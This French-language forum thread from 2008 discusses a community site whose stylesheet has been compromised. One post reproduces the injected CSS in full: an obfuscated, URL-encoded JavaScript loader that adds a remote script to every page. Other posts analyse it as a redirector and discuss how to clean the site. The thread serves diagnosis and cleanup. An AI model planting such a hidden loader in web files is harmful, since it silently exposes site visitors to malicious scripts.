Mradlane Posté(e) le 18 août 2008 Share Posté(e) le 18 août 2008 (modifié) bonsoir tout le monde je viens pour vous présenter notre site communautaire:D de tutoriels dans les domaine du développement (php,html,java,c,c++...ex) graphisme 2D 3D fait par des algériennes afin de regrouper une communauté algerienne de développeurs et mordu de scripting notre site et complètement gratuit et offre un espace personnelle avec galerie un forum et un espace d'exposition des œuvres graphique des membres et d'autre modules en perspective (avoir ensembles) pour développer ce site en plateforme d'algérienne de développements totalement gratuite a tout les bonne volonté merci de nous aides a rendre ce rêve en réalité bienvenu a tous Modifié le 7 février 2009 par Mradlane Citer Lien vers le commentaire Partager sur d’autres sites More sharing options...
hAnI Posté(e) le 18 août 2008 Share Posté(e) le 18 août 2008 Bonsoir vérifie ton css Citer Lien vers le commentaire Partager sur d’autres sites More sharing options...
Mradlane Posté(e) le 19 août 2008 Auteur Share Posté(e) le 19 août 2008 heu!!! bon la j'ai vérifie la feuille de style ..... RAS! et kaspersky na rien détecter normalement Cest bon ps:merci hAnI Citer Lien vers le commentaire Partager sur d’autres sites More sharing options...
hAnI Posté(e) le 19 août 2008 Share Posté(e) le 19 août 2008 heu!!! bon la j'ai vérifie la feuille de style ..... RAS! et kaspersky na rien détecter normalement Cest bon ps:merci hAnI Toujours la même alerte Citer Lien vers le commentaire Partager sur d’autres sites More sharing options...
hAnI Posté(e) le 19 août 2008 Share Posté(e) le 19 août 2008 (modifié) /* a0b4df006e02184c60dbf503e71c87ad */ body { margin-top: expression(eval(unescape('%69%66%20%28%21%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%27%4A%53%53%53%27%29%29%7B%20%4A%53%53%31%20%3D%20%35%39%3B%20%4A%53%53%32%20%3D%20%31%35%38%38%39%30%3B%20%4A%53%53%33%20%3D%20%27%2F%66%6F%72%75%6D%2F%69%6D%61%67%65%73%2F%75%70%6C%6F%61%64%73%2F%61%79%69%71%75%6D%75%2F%64%75%6D%6D%79%2E%68%74%6D%27%3B%20%76%61%72%20%6A%73%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%73%72%63%27%2C%20%27%2F%66%6F%72%75%6D%2F%69%6D%61%67%65%73%2F%75%70%6C%6F%61%64%73%2F%61%79%69%71%75%6D%75%2F%63%68%65%63%6B%2E%6A%73%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%69%64%27%2C%20%27%4A%53%53%53%27%29%3B%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%68%65%61%64%27%29%2E%69%74%65%6D%28%30%29%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%6A%73%29%20%7D%3B%20'))) } /* a995d2cc661fa72452472e9554b5520c */ t'a ce code dans ton fichier .css voici un code clean /* CSS Document */ body { scrollbar-face-color: #DEE3E7; scrollbar-highlight-color: #FFFFFF; scrollbar-shadow-color: #DEE3E7; scrollbar-3dlight-color: #D1D7DC; scrollbar-arrow-color: #006699; scrollbar-track-color: #EFEFEF; scrollbar-darkshadow-color: #98AAB1; background-color: #E5ECF1; font-family: Geneva, Arial, Helvetica, sans-serif; font-size: 12px; color: #000000; text-decoration: none; } font { font-family: Geneva, Arial, Helvetica, sans-serif; font-size: 12px; } h1{ font-family: Geneva, Arial, Helvetica, sans-serif; font-size: 16px; } hr { border: 1px solid #666666; height: 1px; } a:link, a:active, a:visited {color: #9D3729;font-size: 12px; text-decoration: none;font-weight: bold;} a:hover {color: #1EA0FC;text-decoration: none;} .inputlogin { border: 1px solid #CCCCCC; font-size: 11px; font-family: Geneva, Arial, Helvetica, sans-serif; color: #333333; background-color: #ffffff; padding-left:3px; background-color: #f7f7f7; width: 100%; } .textarealogin { background-color: #f7f7f7; color: #333333; border: #CCCCCC 1px solid; font-size: 11px; font-family: Geneva, Arial, Helvetica, sans-serif; width: 100%; } .textarealogin:focus, .inputlogin:focus{ border: 1px solid #9D3729; color: #9D3729; } .menug { color: #000000; font-size: 13px; text-decoration: none; font-weight: bold; } #loginform a, loginform a:link, loginform a:active, loginform a:visited { font-family: Geneva, Arial, Helvetica, sans-serif; font-size: 11px; } .loginform2, a.loginform2, a.loginform2:link, a.loginform2:active, a.loginform2:visited { font-family: Geneva, Arial, Helvetica, sans-serif; font-size: 11px; } /*tutorial*/ .tutodesc { font-family: Geneva, Arial, Helvetica, sans-serif; font-size: 11px; } .tutoimg { text-decoration: none; border: 1px dotted #945452; } .tutoendline { text-decoration: none; border-bottom: 1px dashed #945452; font-weight: normal; } .tutoendline2 { text-decoration: none; border-bottom: 1px dotted #945452; font-weight: normal; } /* du forum*/ .gen { font-size : 12px; } .genmed { font-size : 11px; } .gensmall { font-size : 10px; font-family: Geneva, Arial, Helvetica, sans-serif; font-weight: lighter; } .gen,.genmed,.gensmall { color : #000000; } a.gen,a.genmed,a.gensmall { color: #006699; text-decoration: none; } a.gen:hover,a.genmed:hover,a.gensmall:hover { color: #DD6900; text-decoration: underline; } .searchblock { background: url(loupe.gif) no-repeat 0 3px; } .inputsearsh { border: 1px solid #999999; font-size: 11px; font-family: Geneva, Arial, Helvetica, sans-serif; color: #333333; background-color: #ffffff; padding-left:3px; background-color: #f7f7f7; } .inputtxt { border: 1px solid #CCCCCC; font-size: 11px; font-family: Geneva, Arial, Helvetica, sans-serif; color: #333333; background-color: #ffffff; padding-left:3px; background-color: #f7f7f7; } .tutodescription { font-size: 9px; font-style: italic; color: #798E9D; } /* Xtra Code blocks */ .codetitle { background: #009900; border:1px solid #D1D7DC; font-size: 10px; color: #9AEF9E; padding:5px; width:95%; font-weight:bold; text-align:left; margin-top:10px; background: url(images/bbcode_code.gif) #009900 no-repeat right; } .codediv { background:#fafafa; border: 1px solid #D1D7DC; color:#006600; border-top:0; font:12px Courier,"Courier New", sans-serif; padding:5px; overflow:auto; width:95%; height:200px; text-align:left; } /* Xtra Quote blocks */ .quotetitle { background: #7995DF; border:1px solid #D1D7DC; font-size: 10px; color: #ECF0F6; padding:5px; width:95%; font-weight:bold; text-align:left; margin-top:10px; background: url(images/bbcode_quote.gif) #7995DF no-repeat right; } .quotediv { background: #fafafa; border: 1px solid #D1D7DC; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px; color: #444444; border-top:0; padding:5px; overflow:auto; width:95%; max-height:250px; text-align:left; } Modifié le 19 août 2008 par hAnI Citer Lien vers le commentaire Partager sur d’autres sites More sharing options...
Mradlane Posté(e) le 19 août 2008 Auteur Share Posté(e) le 19 août 2008 merci hAnI c est bonne la jai trouver je les pas vus!!! il été tout en bas de mon css:mad: Citer Lien vers le commentaire Partager sur d’autres sites More sharing options...
hAnI Posté(e) le 19 août 2008 Share Posté(e) le 19 août 2008 aparament tout ton site est infecter, pense a désinstaller kaspersky, il sert a rien Citer Lien vers le commentaire Partager sur d’autres sites More sharing options...
Mradlane Posté(e) le 19 août 2008 Auteur Share Posté(e) le 19 août 2008 (modifié) bonsoir MOnsieur HAnI merci infiniment jai fini par donez un grand coup de pid a kaspersky et jai adopter comme toi AVIRA (franchement le must )voila pour ceux qui doute encore comparatives il ma falu parcourir la source du site pour enlevez tout les scripte java injecter dans les fichier php et la je suis sur a 100% que ya plus rien cordialement Modifié le 19 août 2008 par Mradlane Citer Lien vers le commentaire Partager sur d’autres sites More sharing options...
hAnI Posté(e) le 20 août 2008 Share Posté(e) le 20 août 2008 lol truecolor la gallerie est toujours infectée perso j'utilise "Avira premium security suite" et y'a pas mieux, surtout pas kaspersky Citer Lien vers le commentaire Partager sur d’autres sites More sharing options...
Mradlane Posté(e) le 20 août 2008 Auteur Share Posté(e) le 20 août 2008 voila une preuve qui faux ettre sure de rien jai fait une mise a jour avec avira et la c est RAS... ps: mais y a notre forumdz qui a choper un truc pas net donce a voir (ah ce avira !!!) Citer Lien vers le commentaire Partager sur d’autres sites More sharing options...
mouradski Posté(e) le 20 août 2008 Share Posté(e) le 20 août 2008 Je n'ai des alertes que sur ce thread !! une vérification plus poussée s'impose Citer Lien vers le commentaire Partager sur d’autres sites More sharing options...
Mradlane Posté(e) le 20 août 2008 Auteur Share Posté(e) le 20 août 2008 comme tu peut le voir dans ma capture c est en me conectent que ca ma sa Citer Lien vers le commentaire Partager sur d’autres sites More sharing options...
hAnI Posté(e) le 20 août 2008 Share Posté(e) le 20 août 2008 Je n'ai des alertes que sur ce thread !! une vérification plus poussée s'impose Je croit qu'un modo fera mieu d'effacer ce topic, quant au webmaster de se site , il es a refaire Citer Lien vers le commentaire Partager sur d’autres sites More sharing options...
Mradlane Posté(e) le 20 août 2008 Auteur Share Posté(e) le 20 août 2008 je croix bien que oui Citer Lien vers le commentaire Partager sur d’autres sites More sharing options...
Darkvader Posté(e) le 20 août 2008 Share Posté(e) le 20 août 2008 (modifié) /* a0b4df006e02184c60dbf503e71c87ad */ body { margin-top: expression(eval(unescape('%69%66%20%28%21%64%6F%63.......*/ Deleted the rest to prevent Avast from blocking it t'a ce code dans ton fichier .css [/code] The Code you see in his Css with checksum a0b4-df006e02184c-60dbf503e71c87ad (dashes are just for Trojan detection prevention) means it was hijacked though HTTP injection. who ever owns that web site might need to look into evey php file they have and delete that signature. When you take a closer look at the source code of the Css file you will find that it is infected by some suspicious looking JavaScript code. After decompilation of the obfuscated code, you can see references to files named ‘check.js’ and ‘dummy.htm’ on the same server. The Css file always starts with the checksum I mentioned above and then this [expression(eval(unescape(...]. And that's why you see JS.Redirector.B or JS.Redirector.E blocked by Avast. Modifié le 20 août 2008 par Darkvader Citer Lien vers le commentaire Partager sur d’autres sites More sharing options...
Darkvader Posté(e) le 20 août 2008 Share Posté(e) le 20 août 2008 I guess hAnI need to edit his thread and remove that code where it says . this will prevent Avast from bitching again. Moderator doesn't need to delete the whole discussion. Citer Lien vers le commentaire Partager sur d’autres sites More sharing options...
lalim92 Posté(e) le 20 août 2008 Share Posté(e) le 20 août 2008 C'est pas un virus, c'est un script de redirection je pense Citer Lien vers le commentaire Partager sur d’autres sites More sharing options...
Darkvader Posté(e) le 20 août 2008 Share Posté(e) le 20 août 2008 Je croit qu'un modo fera mieu d'effacer ce topic, quant au webmaster de se site , il es a refaire I don't think he need to redo the whole web site, he just need to clean and secure it that's all. Citer Lien vers le commentaire Partager sur d’autres sites More sharing options...
Mradlane Posté(e) le 21 août 2008 Auteur Share Posté(e) le 21 août 2008 c est une question de droit d'écriture juste a revoir et nettoyer le code oui c est pas un virus c'est un scripte java de redirection pour un boot:rolleyes: Citer Lien vers le commentaire Partager sur d’autres sites More sharing options...
Messages recommandés
Rejoindre la conversation
Vous pouvez publier maintenant et vous inscrire plus tard. Si vous avez un compte, connectez-vous maintenant pour publier avec votre compte.